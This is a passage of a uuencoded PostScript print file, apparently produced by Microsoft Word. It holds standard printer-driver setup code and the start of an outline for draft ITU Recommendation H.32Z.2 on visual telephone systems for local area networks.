M(T-[=7-E<F1I8W0@8F5G:6XO(V-O<&EE<R!E9"!E;F1]8F0O1D5B=68@,B!S
M=')I;F<-"F1E9B]&16=L>7!H*$<@("ED968O1D5[,2!E>&-H>V1U<"`Q-B!&
M16)U9B!C=G)S($9%9VQY<&@@97AC:"`Q(&5X8V@-"G!U=&EN=&5R=F%L(#$@
M:6YD97@@97AC:"!&16=L>7!H(&-V;B!P=71]9F]R?6)D+U-->R]I4F5S(&5D
M+V-Y4"!E9`T*+V-X4&<@960O8WE-(&5D+V-X32!E9"`W,B`Q,#`@9&EV(&1U
M<"!S8V%L92!D=7`@,"!N97LY,"!E<7MC>4T@97AC:`T*,"!E<7MC>$T@97AC
M:"!T<B`M.3`@<F]T871E("TQ(#$@<V-A;&5]>V-X32!C>%!G(&%D9"!E>&-H
M('1R("LY,"!R;W1A=&5]:69E;'-E?7MC>5`-"F-Y32!S=6(@97AC:"`P(&YE
M>V-X32!E>&-H('1R("TY,"!R;W1A=&5]>V-X32!C>%!G(&%D9"!E>&-H('1R
M("TY,`T*<F]T871E(#$@+3$@<V-A;&5]:69E;'-E?6EF96QS97U[<&]P(&-Y
M4"!C>4T@<W5B(&5X8V@@,"!N97MC>$T@8WA09PT*861D(&5X8V@@='(@,3@P
M(')O=&%T97U[8WA-(&5X8V@@='(@,2`M,2!S8V%L97UI9F5L<V5]:69E;'-E
M(#$P,"!I4F5S#0ID:78@9'5P('-C86QE(#`@,"!T<F%N<V9O<FT@+C(U(&%D
M9"!R;W5N9"`N,C4@<W5B(&5X8V@@+C(U(&%D9"!R;W5N9`T*+C(U('-U8B!E
M>&-H(&ET<F%N<V9O<FT@=')A;G-L871E?6)D+U-*>S$@:6YD97@@,"!E<7MP
M;W`@<&]P+V9"12!F86QS90T*9&5F?7LQ(&EN9&5X+T)R96%K(&5D(&1I=B]D
M>$)R96%K(&5D+V9"12!T<G5E(&1E9GUI9F5L<V5]8F0O04Y3259E8UL-"C$V
M(S`O9W)A=F4@,38C,2]A8W5T92`Q-B,R+V-I<F-U;69L97@@,38C,R]T:6QD
M92`Q-B,T+VUA8W)O;B`Q-B,U+V)R979E#0HQ-B,V+V1O=&%C8V5N="`Q-B,W
M+V1I97)E<VES(#$V(S@O<FEN9R`Q-B,Y+V-E9&EL;&$@,38C02]H=6YG87)U
M;6QA=70-"C$V(T(O;V=O;F5K(#$V(T,O8V%R;VX@,38C1"]D;W1L97-S:2`Q
M-B,R-R]Q=6]T97-I;F=L92`Q-B,V,"]G<F%V90T*,38C-T,O8F%R(#$V(S@R
M+W%U;W1E<VEN9VQB87-E(#$V(S@S+V9L;W)I;B`Q-B,X-"]Q=6]T961B;&)A
M<V4@,38C.#4-"B]E;&QI<'-I<R`Q-B,X-B]D86=G97(@,38C.#<O9&%G9V5R
M9&)L(#$V(S@X+V-I<F-U;69L97@@,38C.#DO<&5R=&AO=7-A;F0-"C$V(SA!
M+U-C87)O;B`Q-B,X0B]G=6EL<VEN9VQL969T(#$V(SA#+T]%(#$V(SDQ+W%U
M;W1E;&5F="`Q-B,Y,B]Q=6]T97)I9VAT#0HQ-B,Y,R]Q=6]T961B;&QE9G0@
M,38C.30O<75O=&5D8FQR:6=H="`Q-B,Y-2]B=6QL970@,38C.38O96YD87-H
M(#$V(SDW#0HO96UD87-H(#$V(SDX+W1I;&1E(#$V(SDY+W1R861E;6%R:R`Q
M-B,Y02]S8V%R;VX@,38C.4(O9W5I;'-I;F=L<FEG:'0-"C$V(SE#+V]E(#$V
M(SE&+UED:65R97-I<R`Q-B-!,"]S<&%C92`Q-B-!,2]E>&-L86UD;W=N(#$V
M(T$T+V-U<G)E;F-Y#0HQ-B-!-2]Y96X@,38C038O8G)O:V5N8F%R(#$V(T$W
M+W-E8W1I;VX@,38C03@O9&EE<F5S:7,@,38C03DO8V]P>7)I9VAT#0HQ-B-!
M02]O<F1F96UI;FEN92`Q-B-!0B]G=6EL;&5M;W1L969T(#$V(T%#+VQO9VEC
M86QN;W0@,38C040O:'EP:&5N#0HQ-B-!12]R96=I<W1E<F5D(#$V(T%&+VUA
M8W)O;B`Q-B-","]D96=R964@,38C0C$O<&QU<VUI;G5S(#$V(T(R+W1W;W-U
M<&5R:6]R#0HQ-B-",R]T:')E97-U<&5R:6]R(#$V(T(T+V%C=71E(#$V(T(U
M+VUU(#$V(T(V+W!A<F%G<F%P:"`Q-B-"-R]P97)I;V1C96YT97)E9`T*,38C
M0C@O8V5D:6QL82`Q-B-".2]O;F5S=7!E<FEO<B`Q-B-"02]O<F1M87-C=6QI
M;F4@,38C0D(O9W5I;&QE;6]T<FEG:'0-"C$V(T)#+V]N97%U87)T97(@,38C
M0D0O;VYE:&%L9B`Q-B-"12]T:')E97%U87)T97)S(#$V(T)&+W%U97-T:6]N
M9&]W;@T*,38C0S`O06=R879E(#$V(T,Q+T%A8W5T92`Q-B-#,B]!8VER8W5M
M9FQE>"`Q-B-#,R]!=&EL9&4@,38C0S0O061I97)E<VES#0HQ-B-#-2]!<FEN
M9R`Q-B-#-B]!12`Q-B-#-R]#8V5D:6QL82`Q-B-#."]%9W)A=F4@,38C0SDO
M16%C=71E(#$V(T-!#0HO16-I<F-U;69L97@@,38C0T(O161I97)E<VES(#$V
M(T-#+TEG<F%V92`Q-B-#1"])86-U=&4@,38C0T4O26-I<F-U;69L97@-"C$V
M(T-&+TED:65R97-I<R`Q-B-$,"]%=&@@,38C1#$O3G1I;&1E(#$V(T0R+T]G
M<F%V92`Q-B-$,R]/86-U=&4@,38C1#0-"B]/8VER8W5M9FQE>"`Q-B-$-2]/
M=&EL9&4@,38C1#8O3V1I97)E<VES(#$V(T0W+VUU;'1I<&QY(#$V(T0X+T]S
M;&%S:`T*,38C1#DO56=R879E(#$V(T1!+U5A8W5T92`Q-B-$0B]58VER8W5M
M9FQE>"`Q-B-$0R]59&EE<F5S:7,@,38C1$0O66%C=71E#0HQ-B-$12]4:&]R
M;B`Q-B-$1B]G97)M86YD8FQS(#$V(T4P+V%G<F%V92`Q-B-%,2]A86-U=&4@
M,38C13(O86-I<F-U;69L97@-"C$V(T4S+V%T:6QD92`Q-B-%-"]A9&EE<F5S
M:7,@,38C134O87)I;F<@,38C138O864@,38C13<O8V-E9&EL;&$@,38C13@-
M"B]E9W)A=F4@,38C13DO96%C=71E(#$V(T5!+V5C:7)C=6UF;&5X(#$V(T5"
M+V5D:65R97-I<R`Q-B-%0R]I9W)A=F4-"C$V(T5$+VEA8W5T92`Q-B-%12]I
M8VER8W5M9FQE>"`Q-B-%1B]I9&EE<F5S:7,@,38C1C`O971H(#$V(T8Q+VYT
M:6QD90T*,38C1C(O;V=R879E(#$V(T8S+V]A8W5T92`Q-B-&-"]O8VER8W5M
M9FQE>"`Q-B-&-2]O=&EL9&4@,38C1C8O;V1I97)E<VES#0HQ-B-&-R]D:79I
M9&4@,38C1C@O;W-L87-H(#$V(T8Y+W5G<F%V92`Q-B-&02]U86-U=&4@,38C
M1D(O=6-I<F-U;69L97@-"C$V(T9#+W5D:65R97-I<R`Q-B-&1"]Y86-U=&4@
M,38C1D4O=&AO<FX@,38C1D8O>61I97)E<VES(%T@9&5F+W)E96YC9&EC=`T*
M,3(@9&EC="!D968O27-#:&%R>V)A<V5F;VYT9&EC="]#:&%R4W1R:6YG<R!G
M970@97AC:"!K;F]W;GUB9"]-87!#:'MD=7`-"DES0VAA<B!N;W1[<&]P+V)U
M;&QE='UI9B!N97=F;VYT+T5N8V]D:6YG(&=E="`S(#$@<F]L;"!P=71]8F0O
M36%P1&5G<F5E>S$V(V(P#0HO9&5G<F5E($ES0VAA<GLO9&5G<F5E?7LO<FEN
M9WUI9F5L<V4@36%P0VA]8F0O36%P0D)[,38C838O8G)O:V5N8F%R#0I)<T-H
M87)[+V)R;VME;F)A<GU[+V)A<GUI9F5L<V4@36%P0VA]8F0O04Y3249O;G1[
M<F5E;F-D:6-T(&)E9VEN+VYE=V9O;G1N86UE#0IE9"]B87-E9F]N=&YA;64@
M960@1F]N=$1I<F5C=&]R>2!N97=F;VYT;F%M92!K;F]W;B!N;W1[+V)A<V5F
M;VYT9&EC=`T*8F%S969O;G1N86UE(&9I;F1F;VYT(&1E9B]N97=F;VYT(&)A
M<V5F;VYT9&EC="!M87AL96YG=&@@9&EC="!D968@8F%S969O;G1D:6-T>V5X
M8V@-"F1U<"]&240@;F5[9'5P+T5N8V]D:6YG(&5Q>V5X8V@@9'5P(&QE;F=T
M:"!A<G)A>2!C;W!Y(&YE=V9O;G0@,R`Q(')O;&P-"G!U='U[97AC:"!N97=F
M;VYT(#,@,2!R;VQL('!U='UI9F5L<V5]>W!O<"!P;W!]:69E;'-E?69O<F%L
M;"!N97=F;VYT#0HO1F]N=$YA;64@;F5W9F]N=&YA;64@<'5T(#$R-R`Q(#$U
M.7MN97=F;VYT+T5N8V]D:6YG(&=E="!E>&-H+V)U;&QE=`T*<'5T?69O<B!!
M3E-)5F5C(&%L;V%D('!O<"!!3E-)5F5C(&QE;F=T:"`R(&ED:79[36%P0VA]
M<F5P96%T($UA<$1E9W)E90T*36%P0D(@;F5W9F]N=&YA;64@;F5W9F]N="!D
M969I;F5F;VYT('!O<'UI9B!N97=F;VYT;F%M92!E;F1]8F0O4T)[1D,-"B]5
M3&QE;B!E9"]S='(@960@<W1R(&QE;F=T:"!F0D4@;F]T>V1U<"`Q(&=T>S$@
M<W5B?6EF?6EF+V-B4W1R(&5D#0HO9'A'9&D@960O>3`@960O>#`@960@<W1R
M('-T<FEN9W=I9'1H(&1U<"`P(&YE>R]Y,2!E9"]X,2!E9"!Y,2!Y,0T*;75L
M('@Q('@Q(&UU;"!A9&0@<W%R="!D>$=D:2!E>&-H(&1I=B`Q('-U8B!D=7`@
M>#$@;75L(&-B4W1R(&1I=B!E>&-H#0IY,2!M=6P@8V)3='(@9&EV?7ME>&-H
M(&%B<R!N96<@9'A'9&D@861D(&-B4W1R(&1I=B!E>&-H?6EF96QS92]D>45X
M=')A#0IE9"]D>$5X=')A(&5D('@P('DP($T@9D)%>V1X0G)E86L@,"!"0V@@
M9'A%>'1R82!D>45X=')A('-T<B!A=VED=&AS:&]W?7MD>$5X=')A#0ID>45X
M=')A('-T<B!A<VAO=WUI9F5L<V4@9E5,>W@P('DP($T@9'A53"!D>55,(')M
M="!53&QE;B!F0D5[0G)E86L-"F%D9'UI9B`P(&UX544@=')A;G-F;W)M(&=S
M(')L="!C>55,('-L(%M=(#`@<V5T9&%S:"!S="!G<GUI9B!F4T][>#`-"GDP
M($T@9'A33R!D>5-/(')M="!53&QE;B!F0D5[0G)E86L@861D?6EF(#`@;7A5
M12!T<F%N<V9O<FT@9W,@<FQT(&-Y54P-"G-L(%M=(#`@<V5T9&%S:"!S="!G
M<GUI9B!N+V9"12!F86QS92!D969]8F0O9F]N='LO;F%M92!E9"]!<V-E;G0@
M960-"C`@;F4O9E0S(&5D(#`@;F4O9E-/(&5D(#`@;F4O9E5,(&5D+U-Y(&5D
M+U-X(&5D(#$P+C`@9&EV+V]R:2!E9"`M,3`N,`T*9&EV+V5S8R!E9"]"0V@@
M960@;F%M92!F:6YD9F]N="]X07-C96YT(#`@9&5F+WE!<V-E;G0@07-C96YT
M(&1E9B]53&5S8PT*97-C(&1E9B!53&5S8R!M>%5%(')O=&%T92!P;W`@9E0S
M>R]E<V,@,"!D968@>$%S8V5N="!Y07-C96YT(&UX544@=')A;G-F;W)M#0HO
M>4%S8V5N="!E9"]X07-C96YT(&5D?6EF(%M3>"`P(#`@4WD@;F5G('A!<V-E
M;G0@>4%S8V5N=%T@97-C(&UX10T*<F]T871E(&UX1B!C;VYC871M871R:7@@
M;6%K969O;G0@<V5T9F]N="!;4W@@,"`P(%-Y(&YE9R`P($%S8V5N=%T@;7A5
M10T*;7A51B!C;VYC871M871R:7@@<&]P(&953'MC=7)R96YT9F]N="!D=7`O
M1F]N=$EN9F\@9V5T+U5N9&5R;&EN95!O<VET:6]N#0IK;F]W;B!N;W1[<&]P
M+T-O=7)I97(@9FEN9&9O;G1]:68O1F]N=$EN9F\@9V5T+U5N9&5R;&EN95!O
M<VET:6]N(&=E=`T*,3`P,"!D:78@,"!E>&-H(&UX548@=')A;G-F;W)M+V1Y
M54P@960O9'A53"!E9'UI9B!F4T][,"`N,R!M>%5&('1R86YS9F]R;0T*+V1Y
M4T\@960O9'A33R!E9'UI9B!F54P@9E-/(&]R>V-U<G)E;G1F;VYT(&1U<"]&
M;VYT26YF;R!G970O56YD97)L:6YE5&AI8VMN97-S#0IK;F]W;B!N;W1[<&]P
M+T-O=7)I97(@9FEN9&9O;G1]:68O1F]N=$EN9F\@9V5T+U5N9&5R;&EN951H
M:6-K;F5S<R!G970-"C$P,#`@9&EV(%-Y(&UU;"]C>55,(&5D?6EF?6)D+VUI
M;GLR(&-O<'D@9W1[97AC:'UI9B!P;W!]8F0O;6%X>S(@8V]P>0T*;'1[97AC
M:'UI9B!P;W!]8F0O0U![+V9T(&5D>WMF="`P(&5Q>V-L:7!]>V5O8VQI<'UI
M9F5L<V5]<W1O<'!E9'MC=7)R96YT9FQA=`T*,2!A9&0@<V5T9FQA='U[97AI
M='UI9F5L<V5];&]O<'UB9"]P871F;VYT(#$P(&1I8W0@9&5F('!A=&9O;G0@
M8F5G:6X-"B]&;VYT5'EP92`S(&1E9B]&;VYT36%T<FEX(%LQ(#`@,"`M,2`P
M(#!=(&1E9B]&;VYT0D)O>"!;,"`P(#$V(#$V70T*9&5F+T5N8V]D:6YG(%-T
M86YD87)D16YC;V1I;F<@9&5F+T)U:6QD0VAA<GMP;W`@<&]P(#$V(#`@,"`P
M(#$V(#$V#0IS971C86-H961E=FEC92`Q-B`Q-B!F86QS92!;,2`P(#`@,2`N
M,C4@+C(U77MP871]:6UA9V5M87-K?6)D(&5N9"]P>PT*+W!A="`S,B!S=')I
M;F<@9&5F>WUF;W)A;&P@,"`Q(#=[9'5P(#(@;75L('!A="!E>&-H(#,@:6YD
M97@@<'5T(&1U<`T*,B!M=6P@,2!A9&0@<&%T(&5X8V@@,R!I;F1E>"!P=70@
M9'5P(#(@;75L(#$V(&%D9"!P870@97AC:"`S(&EN9&5X#0IP=70@,B!M=6P@
M,3<@861D('!A="!E>&-H(#(@:6YD97@@<'5T('!O<'UF;W)]8F0O<&9I;&Q[
M+U!A=$9O;G0@<&%T9F]N=`T*9&5F:6YE9F]N="!S971F;VYT+V-H*$%!04$I
M9&5F(%@P(#8T(%@Q>UDQ("TQ-B!9,'LQ(&EN9&5X(&5X8V@@32!C:`T*<VAO
M=WUF;W(@<&]P?69O<GUB9"]V97)T>U@P('<@6#%[9'5P(%DP($T@63$@3"!S
M='UF;W)]8F0O:&]R>GM9,"!W#0I9,7MD=7`@6#`@97AC:"!-(%@Q(&5X8V@@
M3"!S='UF;W)]8F0O9F1I86=[6#`@=R!8,7M9,"!-(%@Q(%@P('-U8B!D=7`-
M"G)L="!S='UF;W(@63`@=R!9,7M8,"!E>&-H($T@63$@63`@<W5B(&1U<"!R
M;'0@<W1]9F]R?6)D+V)D:6%G>U@P('<-"E@Q>UDQ($T@6#$@6#`@<W5B(&1U
M<"!N96<@<FQT('-T?69O<B!9,"!W(%DQ>U@P(&5X8V@@32!9,2!9,"!S=6(@
M9'5P#0IN96<@<FQT('-T?69O<GUB9"]!57LQ(&%D9"!C=FD@,34@;W)]8F0O
M041[,2!S=6(@8W9I("TQ-B!A;F1]8F0O4TA2>W!A=&AB8F]X#0I!52]9,2!E
M9"!!52]8,2!E9"!!1"]9,"!E9"!!1"]8,"!E9'UB9"]H9FEL;'LO=R!I4F5S
M(#,W+C4@9&EV(')O=6YD#0ID968@,"XQ('-L(%M=(#`@<V5T9&%S:"!N(&1U
M<"`P(&5Q>VAO<GI]:68@9'5P(#$@97%[=F5R='UI9B!D=7`@,B!E<7MF9&EA
M9WUI9@T*9'5P(#,@97%[8F1I86=]:68@9'5P(#0@97%[:&]R>B!V97)T?6EF
M(#4@97%[9F1I86<@8F1I86=]:69]8F0O1GLO9G0-"F5D(&9M(#(U-B!A;F0@
M,"!N97MG<R!&0R!F="`P(&5Q>V9I;&Q]>V5O9FEL;'UI9F5L<V4@9W)]:68@
M9FT@,34S-@T*86YD(#`@;F5[4TA2(&=S($A#(&9T($-0(&9M(#$P,C0@86YD
M(#`@;F5[+U1M<"!S879E(&1E9B!P9FEL;"!4;7`@<F5S=&]R97U[9FT-"C$U
M(&%N9"!H9FEL;'UI9F5L<V4@9W)]:69]8F0O4WM096Y7('-L(%!#('-T?6)D
M+VT@;6%T<FEX(&1E9B]'5WMI4F5S#0HQ,B!D:78@4&5N5R!A9&0@8W9I?6)D
M+T1O5WMI4F5S(#4P(&1I=B!096Y7(&%D9"!C=FE]8F0O1%=[:5)E<R`X(&1I
M=@T*4&5N5R!A9&0@8W9I?6)D+U-0>R]096Y7(&5D+VE096X@960@:5!E;B`P
M(&5Q(&E096X@-B!E<2!O<GM;72`P('-E=&1A<VA]:68-"FE096X@,2!E<7M;
M1%<@1U==(#`@<V5T9&%S:'UI9B!I4&5N(#(@97%[6T1O5R!'5UT@,"!S971D
M87-H?6EF(&E096X-"C,@97%[6T17($=7($1O5R!'5UT@,"!S971D87-H?6EF
M(&E096X@-"!E<7M;1%<@1U<@1&]7($=7($1O5R!'5UT@,`T*<V5T9&%S:'UI
M9GUB9"]%>VT@8VT@<&]P('1R('-C86QE(#$@,"!M;W9E=&\@,"`P(#$@,"`S
M-C`@87)C(&-P(&T@<VU]8F0-"B]!1WLO<WD@960O<W@@960@<W@@9&EV(#0@
M,2!R;VQL('-Y(&1I=B`T(#$@<F]L;"!S>"!D:78@-"`Q(')O;&P@<WD-"F1I
M=B`T(#$@<F]L;"!A=&%N+V$R(&5D(&%T86XO83$@960@<W@@<WD@<V-A;&4@
M83$@83(@05)#?61E9B]!>VT@8VT-"G!O<"!T<B!!1R!M('-M?61E9B]0>VT@
M8VT@<&]P('1R(#`@,"!-($%'(&-P(&T@<VU]9&5F+U)296-T>VX@-"!C;W!Y
M#0I-(#,@,2!R;VQL(&5X8V@@3"`T(#(@<F]L;"!,($P@8W!]8F0O4E)#0WLO
M<B!E9"]Y,2!E9"]X,2!E9"]Y,"!E9"]X,`T*960@>#`@>#$@861D(#(@9&EV
M('DP($T@>#$@>3`@>#$@>3$@<B!A<F-T;R`T>W!O<'UR97!E870@>#$@>3$@
M>#`@>3$-"G(@87)C=&\@-'MP;W!]<F5P96%T('@P('DQ('@P('DP('(@87)C
M=&\@-'MP;W!]<F5P96%T('@P('DP('@Q('DP('(-"F%R8W1O(#1[<&]P?7)E
M<&5A="!C<'UB9"]24GLR(&-O<'D@,"!E<2!E>&-H(#`@97$@;W)[<&]P('!O
M<"!24F5C='U[,@T*8V]P>2!E<7MP;W`@4E)#0WU[;2!C;2!P;W`O>3(@960O
M>#(@960O>7,@>3(@>#(@9&EV(#$@;6%X(&1E9B]X<R!X,@T*>3(@9&EV(#$@
M;6%X(&1E9B]Y,2!E>&-H('ES(&1I=B!D968O>#$@97AC:"!X<R!D:78@9&5F
M+WDP(&5X8V@@>7,@9&EV#0ID968O>#`@97AC:"!X<R!D:78@9&5F+W(R('@R
M('DR(&UI;B!D968@>',@>7,@<V-A;&4@>#`@>#$@861D(#(@9&EV#0IY,"!-
M('@Q('DP('@Q('DQ('(R(&%R8W1O(#1[<&]P?7)E<&5A="!X,2!Y,2!X,"!Y
M,2!R,B!A<F-T;R`T>W!O<'UR97!E870-"G@P('DQ('@P('DP('(R(&%R8W1O
M(#1[<&]P?7)E<&5A="!X,"!Y,"!X,2!Y,"!R,B!A<F-T;R`T>W!O<'UR97!E
M870-"FT@<VT@8W!]:69E;'-E?6EF96QS97UB9"]04'M[<FQT?7)E<&5A='UB
M9"]/0GMG<R`P(&YE>S<@,R!R;VQL+WD@960-"B]X(&5D('@@>2!T<F%N<VQA
M=&4@54QE<V,@<F]T871E('@@;F5G('D@;F5G('1R86YS;&%T92!X('D@-R`M
M,R!R;VQL?6EF#0IS8R!"(&9I;&P@9W)]8F0O0GM-+V1Y(&5D+V1X(&5D(&1X
M(#`@<FQT(#`@9'D@<FQT(&1X(&YE9R`P(')L="!C<'UB9`T*+T-">T(@8VQI
M<"!N?6)D+T5R<DAA;F1L97)[97)R;W)D:6-T(&1U<"!M87AL96YG=&@@97AC
M:"!L96YG=&@@9W0-"F1U<'ME<G)O<F1I8W0@8F5G:6Y]:68O97)R:&5L<&1I
M8W0@,3(@9&EC="!D968@97)R:&5L<&1I8W0@8F5G:6XO<W1A8VMU;F1E<F9L
M;W<H;W!E<F%N9"!S=&%C:R!U;F1E<F9L;W<I9&5F#0HO=6YD969I;F5D*'1H
M:7,@;F%M92!I<R!N;W0@9&5F:6YE9"!I;B!A(&1I8W1I;VYA<GDI9&5F+U9-
M97)R;W(H>6]U(&AA=F4@=7-E9"!U<"!A;&P@=&AE('!R:6YT97(G<R!M96UO
M<GDI9&5F#0HO='EP96-H96-K*&]P97)A=&]R('=A<R!E>'!E8W1I;F<@82!D
M:69F97)E;G0@='EP92!O9B!O<&5R86YD*61E9@T*+VEO97)R;W(H:6YP=70O
M;W5T<'5T(&5R<F]R(&]C8W5R960I9&5F(&5N9'ME;F1]:68@97)R;W)D:6-T
M(&)E9VEN#0HO:&%N9&QE97)R;W)[)&5R<F]R(&)E9VEN(&YE=V5R<F]R>R]N
M97=E<G)O<B!F86QS92!D968@<VAO=W!A9V4@-S(-"C<R('-C86QE+W@@+C(U
M(&1E9B]Y(#DN-B!D968O2&5L=F5T:6-A(&9I;F1F;VYT("XR('-C86QE9F]N
M="!S971F;VYT#0IX('D@;6]V971O*$]F9F5N9&EN9R!#;VUM86YD(#T@*7-H
M;W<O8V]M;6%N9"!L;V%D>V1U<"!T>7!E+W-T<FEN9W1Y<&4-"FYE>RAM87@@
M97)R('-T<FEN9REC=G-]:68@<VAO=WUE>&5C+WD@>2`N,B!S=6(@9&5F('@@
M>2!M;W9E=&\H17)R;W(@/2`I<VAO=PT*97)R;W)N86UE>V1U<"!T>7!E(&1U
M<"@@;6%X(&5R<B!S=')I;F<@*6-V<R!S:&]W*"`Z("ES:&]W+W-T<FEN9W1Y
M<&4-"FYE>R@@;6%X(&5R<B!S=')I;F<@*6-V<WUI9B!S:&]W?65X96,@97)R
M;W)D:6-T(&)E9VEN(&5R<FAE;'!D:6-T(&5R<F]R;F%M90T*:VYO=VY[>"`Q
M(&%D9"!Y("XR('-U8B!M;W9E=&\@97)R:&5L<&1I8W0@97)R;W)N86UE(&=E
M="!S:&]W?6EF(&5N9`T*+WD@>2`N-"!S=6(@9&5F('@@>2!M;W9E=&\H4W1A
M8VL@/2ES:&]W(&]S=&%C:WLO>2!Y("XR('-U8B!D968@>"`Q#0IA9&0@>2!M
M;W9E=&\@9'5P('1Y<&4O<W1R:6YG='EP92!N97LH(&UA>"!E<G(@<W1R:6YG
M("EC=G-]:68@<VAO=WUF;W)A;&P-"G-H;W=P86=E?6EF(&5N9'UD968@96YD
M?6)D(&5N9`T*)25%;F1297-O=7)C90T*+U-61&]C('-A=F4@9&5F#0HE)45N
M9%!R;VQO9PT*)25"96=I;E-E='5P#0I7:6XS-41I8W0@8F5G:6X-"D5R<DAA
M;F1L97(-"G-T871U<V1I8W0@8F5G:6X@,"!S971J;V)T:6UE;W5T(&5N9`T*
M<W1A='5S9&EC="!B96=I;B!S=&%T=7-D:6-T("]J;V)N86UE("A-:6-R;W-O
M9G0@5V]R9"`M($@S,C-/550R+D1/0RD@<'5T(&5N9`T*+V]L9$1I8W1#;G0@
M8V]U;G1D:6-T<W1A8VL@9&5F('L@#0I]<W1O<'!E9"`-"GL@8V]U;G1D:6-T
M<W1A8VL@;VQD1&EC=$-N="!L="![(%=I;C,U1&EC="!B96=I;B!](`T*>S$@
M,2!C;W5N=&1I8W1S=&%C:R!O;&1$:6-T0VYT('-U8B![<&]P(&5N9"!](&9O
M<B!](&EF96QS92!](&EF(`T*>PH@("`@,2!D:6-T("`@("!D=7`@+U!O;&EC
M:65S(#(@9&EC="!D=7`@+U!A9V53:7IE(#(@<'5T(&1U<"`O365D:6%4>7!E
M(#`@<'5T('!U="`)<V5T<&%G961E=FEC92`),B!D:6-T("`@("!D=7`@+U!A
M9V53:7IE(%LV,3(@-SDR72!P=70@("`@(&1U<"`O26UA9VEN9T)";W@@;G5L
M;"!P=70@("`@('-E='!A9V5D979I8V4-"GUS=&]P<&5D#0I["B`@("`Q(&1I
M8W0@("`@(&1U<"`O4&]L:6-I97,@,B!D:6-T(&1U<"`O4&%G95-I>F4@,B!P
M=70@9'5P("]-961I851Y<&4@,"!P=70@<'5T(`ES971P86=E9&5V:6-E(`DR
M(&1I8W0@("`@(&1U<"`O4&%G95-I>F4@6S8Q,B`W.3)=('!U="`@("`@9'5P
M("]);6%G:6YG0D)O>"!N=6QL('!U="`@("`@<V5T<&%G961E=FEC90T*?6EF
M#0H*("`@(#$@9&EC="!D=7`@+T1U<&QE>"!F86QS92!P=70@<V5T<&%G961E
M=FEC92`@("`@,2!D:6-T(&1U<"`O5'5M8FQE(&9A;'-E('!U="!S971P86=E
M9&5V:6-E#0I;>WT-"B]E>&5C(&QO860@8W5R<F5N='1R86YS9F5R("]E>&5C
M(&QO861=(&-V>"!S971T<F%N<V9E<@T*)25%;F13971U<`T*)25086=E.B`Q
M(#$-"B4E4&%G95)E<V]U<F-E<SH@*&%T96YD*0T*4U,-"C`@,"`Q-B`Q-B`X
M,34@,3$P,"`V,#`@4TT-"C,R(#`@,"`Q,#`@,3`P(#`@,"`P(#DY("]!=F%N
M=$=A<F1E+4)O;VL@+V9O;G0Q($%.4TE&;VYT(&9O;G0-"C`@,"`P(&9##0HR
M,C`R(#4P-"`U,#,@*$]U=&QI;F4@9F]R*2`U,#,@4T(-"C(S,#,@-S0V(#,P
M,2`H1%)!1E0I(#,P,2!30@T*,3@R-R`X-C<@,3(U-"`H4F5C;VUM96YD871I
M;VX@2"XS,EHN,BD@,3(U-"!30@T*,3,V-"`Q,3`Y(#(Q-SD@*%9)4U5!3"`@
M5$5,15!(3TY%("!365-414U3("!!3D0@(%1%4DU)3D%,*2`R,3<Y(%-"#0HQ
M,C(U(#$R,S`@,C0U."`H15%525!-14Y4($9/4B`@3$]#04P@($%214$@($Y%
M5%=/4DM3("!72$E#2"D@,C0U."!30@T*,3(Y-R`Q,S4Q(#(S,30@*$1/3D]4
M(%!23U9)1$4@($$@($=505)!3E1%140@(%%504Q)5%D@($]&*2`R,S$T(%-"
M#0HR,C4W(#$T-S(@,SDS("A315)624-%*2`S.3,@4T(-"C4P-"`Q-S$T(#4U
M("@Q*2`U-2!30@T*.#`T(#$W,30@,S,Q("A30T]012D@,S,Q(%-"#0HX,#0@
M,3@S-2`T.30@*"T@16YD<&]I;G0I(#0Y-"!30@T*.#`T(#$Y-38@.#`S("@M
M($=A=&5W87DO34-5*2`X,#,@4T(-"C4P-"`R,3DX(#$S-C4@*#(@("`@3D]2
M34%4259%(%)%1D5214Y#15,I(#$S-C4@4T(-"C4P-"`R-#0P(#<T,2`H,R`@
M("!$149)3DE424].4RD@-S0Q(%-"#0HU,#0@,C8X,B`Q-C,S("@T("`@(%-9
M34)/3%,@04Y$($%"0E)%5DE!5$E/3E,I(#$V,S,@4T(-"C4P-"`R.3(T(#$Q
M-S(@*#4@("`@4UE35$5-($1%4T-225!424].*2`Q,3<R(%-"#0HU,#0@,S$V
M-B`R-S`T("@U+C$@("`@("`@17AA;7!L92!B;&]C:R!D:6%G<F%M(&%N9"!F
M=6YC=&EO;F%L(&5L96UE;G1S*2`R-S`T(%-"#0HU,#0@,S0P."`V-3D@*#4N
M,B`@("`@("!3:6=N86QS*2`V-3D@4T(-"C$Q,#0@,S4R.2`S-3$@*"T@5FED
M96\I(#,U,2!30@T*,3$P-"`S-C4P(#0S-2`H+2!3<&5E8V@I(#0S-2!30@T*
M,3$P-"`S-S<Q(#,P-2`H+2!$871A*2`S,#4@4T(-"C$Q,#0@,S@Y,B`T,3D@
M*"T@0V]N=')O;"D@-#$Y(%-"#0HU,#0@-#$S-"`Q.3DQ("@U+C,@("`@("`@
M3F5T=V]R:R!);G1E<F9A8V4O5&5R;6EN86P@36]D96PI(#$Y.3$@4T(-"C$Q
M,#0@-#(U-2`Q-C$W("@M(&1E9FEN92!G871E=V%Y+V5N9'!O:6YT('1E<FUS
M*2`Q-C$W(%-"#0HQ,3`T(#0S-S8@,3$T-2`H+2!#86QL(&-O;G1R;VP@9G5N
M8W1I;VYS/RD@,3$T-2!30@T*,3$P-"`T-#DW(#8P,R`H+2!6:7)T=6%L($)U
M<WDI(#8P,R!30@T*,3$P-"`T-C$X(#$U-C,@*"T@3F5T=V]R:R!#;VYG97-T
M:6]N($1E=&5C=&EO;BD@,34V,R!30@T*-3`T(#0X-C`@,3`Q-B`H-2XT("`@
M("`@(%9I9&5O($-O9&EN9RD@,3`Q-B!30@T*,3$P-"`T.3@Q(#@Y,B`H+2!(
M+C(V,2!-86YD871O<GDI(#@Y,B!30@T*,30P-"`U,3`R(#8V-B`H+2!#248@
M3W!T:6]N86PI(#8V-B!30@T*,30P-"`U,C(S(#@W,2`H+2!10TE&($UA;F1A
M=&]R>2D@.#<Q(%-"#0HQ,3`T(#4S-#0@-S<T("@M($@N,C8S($]P=&EO;F%L
M*2`W-S0@4T(-"C$Q,#0@-30V-2`Y,#,@*"T@4')O<')I971A<GD@5FED96\I
M(#DP,R!30@T*,30P-"`U-3@V(#<Y-R`H+2!N<RUC87`O;G,M8V]M*2`W.3<@
M4T(-"C$@(T,-"G-T871U<V1I8W0@8F5G:6X@+VUA;G5A;&9E960@9F%L<V4@
